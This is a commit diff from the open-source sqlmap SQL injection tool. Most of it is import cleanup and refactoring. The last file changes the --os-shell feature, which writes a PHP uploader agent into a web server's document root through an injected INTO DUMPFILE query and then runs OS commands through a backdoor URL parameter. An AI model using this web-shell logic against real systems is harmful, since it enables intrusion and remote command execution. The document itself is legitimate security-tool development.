Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).

Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
This commit is contained in:
Bernardo Damele
2009-04-27 23:05:11 +00:00
parent 5121a4dcba
commit 16b4530bbe
35 changed files with 158 additions and 201 deletions

View File

@@ -28,15 +28,11 @@ import os
import time
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
@@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -521,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
wFilePointer.close()
if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))

View File

@@ -28,7 +28,6 @@ import os
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
@@ -49,7 +48,6 @@ from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem

View File

@@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS

View File

@@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
def stackedReadFile(self, rFile):
# TODO: write a UDF to retrieve the hexadecimal encoded content of
# the requested file
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved"

View File

@@ -39,7 +39,6 @@ from lib.core.data import temp
from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
@@ -47,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
@@ -1098,7 +1096,6 @@ class Enumeration:
def sqlQuery(self, query):
output = None
selectQuery = True
sqlType = None
query = urlencode(query, convall=True)
@@ -1108,9 +1105,6 @@ class Enumeration:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
if sqlTitle != "SQL SELECT statement":
selectQuery = False
break
message = "do you want to retrieve the SQL statement output? "

View File

@@ -31,10 +31,8 @@ from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
@@ -215,7 +213,7 @@ class Filesystem:
return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath):
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system

View File

@@ -33,7 +33,7 @@ class Fingerprint:
"""
@staticmethod
def unescape(expression):
def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg

View File

@@ -24,12 +24,15 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re
from lib.core.common import getDirectories
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -59,13 +62,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
@@ -79,8 +81,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorOsShell(self):
"""
TODO: complete review of this code is needed
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
@@ -95,42 +95,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
infoMsg = "retrieving web application directories"
logger.info(infoMsg)
self.checkDbmsOs()
directories = getDirectories()
if directories:
infoMsg = "retrieved web server directories "
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
kb.docRoot = getDocRoot()
directories = getDirs()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
@@ -139,34 +107,40 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
directories.sort()
uploaded = False
# TODO: backdoor and uploader extensions must be the same as of
# the web application language in use
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
if kb.os == "Windows":
sep = "\\\\"
else:
sep = "/"
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
requestDir = directory.replace(kb.docRoot, "/").replace("\\", "/")
requestDir = os.path.normpath(requestDir)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
uploaderUrl = os.path.normpath(uploaderUrl)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "